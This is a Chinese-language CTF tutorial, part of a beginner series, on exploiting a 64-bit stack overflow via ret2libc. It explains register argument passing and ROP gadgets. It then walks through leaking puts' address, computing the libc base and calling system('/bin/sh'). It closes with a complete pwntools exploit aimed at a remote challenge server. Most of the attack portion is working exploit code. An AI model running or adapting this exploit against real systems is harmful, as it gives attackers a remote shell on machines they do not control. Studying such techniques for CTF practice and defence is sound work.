PWN从入门到放弃(10)——栈溢出之ret2libc(x64)
前面我们介绍了32位elf程序ret2libc的利用方法
本篇我们介绍一下64位的ret2libc
0x00 例题
1)查看文件信息
$ file ret2libc
$ checksec ret2libc
2)查看程序流程
运行一下程序,看看程序的大概流程
程序提供一次输入一次输出
3)分析程序&查找漏洞点
将程序扔到ida pro里分析
首先分析main()函数
我们看到,程序使用了gets函数和puts函数,根据我们之前讲过的ret2libc,攻击思路还是很清晰的
这里gets()函数是存在溢出的,我们可以利用这个溢出,构造一个puts()函数,将函数实际地址打印出来
然后利用puts函数的实际地址计算出libc基地址,再计算system函数和binsh的地址
4)构造payload
首先构造第一段payload
这里需要注意,64位程序和32位程序有比较大的区别,32位程序函数参数是通过栈来传参,我们只需要构造一个栈结构即可;64位程序函数参数是通过寄存器来传参,因此,我们需要用到ROPgadget来给寄存器赋值
64位程序传递参数的寄存器一共有六个,如果函数参数大于六个,后面的参数才会入栈,寄存器传参顺序为:$rdi $
rsi $rdx $
rcx $r8 $
r9
因为我们脚本需要用到的函数为puts和system,这两个函数都只有一个参数,因此我们只需要rdi寄存器即可
我们利用ROPgadget工具来查找ROP片段
$ ROPgadget --binary ret2libc
我们找到pop rdi ; ret,将其地址复制出来
构造函数的顺序为,溢出偏移+pop rdi ; ret+参数+函数地址+函数返回地址
注:这里因为程序只有一次输入输出,所以我们返回地址填上main函数的地址,当我们构造的函数执行完后,会返回到main函数继续执行。
第一段payload如下
from pwn import *
r = process('./ret2libc')
elf = ELF('./ret2libc')
padding = 120
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400666
pop_rdi_ret = 0x0400753
payload = 'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
r.sendline(payload)
r.interactive()
我们运行脚本,程序就会将puts函数的实际地址给我们打印出来
我们通过recvline方法来接收
r.recvline()
puts_real = u64(r.recvline()[:-1].ljust(8,'\x00'))
第一个r.recvline()用来接收程序给我们打印的数据,第二个r.recvline用来接收puts函数的实际地址,这里用[:-1]来截取掉后面的’\n’,用.ljust(8,’\x00′)将长度填充为8,因为64位程序的地址长度为8
当我们成功获取到puts函数的实际地址后,即可将本地调试改成远程调试,将远程服务器上的程序puts函数实际地址泄露出来,然后根据puts函数的实际地址来查找远程服务器上所使用的libc库版本
这里我们看到,远程调试时,puts函数实际地址的后三位为6a0,那么我们上网查一下,戳这里☞libc database search
我们找到对应版本的libc库,即可下载
注:64位程序选择amd64的库,32位程序选择i386的库
我们将对应库下载下来,放到程序文件夹下,重命名位libc.so,并将其导入脚本
libc = ELF('./libc.so')
然后可根据公式来计算出libc的基地址和system函数以及binsh的地址
libc_base = puts_real - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
这里一般会将libc_base的值打印出来,如果后三位是0,那么证明我们计算的是没有问题的
那么现在我们可以继续构造第二段payload了
payload2 = 'a' * padding
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)
sleep(1)
r.sendline(payload2)
0x01 完整exp
from pwn import *
#r = process('./ret2libc')
r = remote('123.56.83.100',6102)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so')
elf = ELF('./ret2libc')
padding = 120
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400666
pop_rdi_ret = 0x0400753
payload = 'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
r.sendline(payload)
r.recvline()
puts_real = u64(r.recvline()[:-1].ljust(8,'\x00'))
print hex(puts_real)
libc_base = puts_real - libc.symbols['puts']
print hex(libc_base)
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
payload2 = 'a' * padding
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)
sleep(1)
r.sendline(payload2)
r.interactive()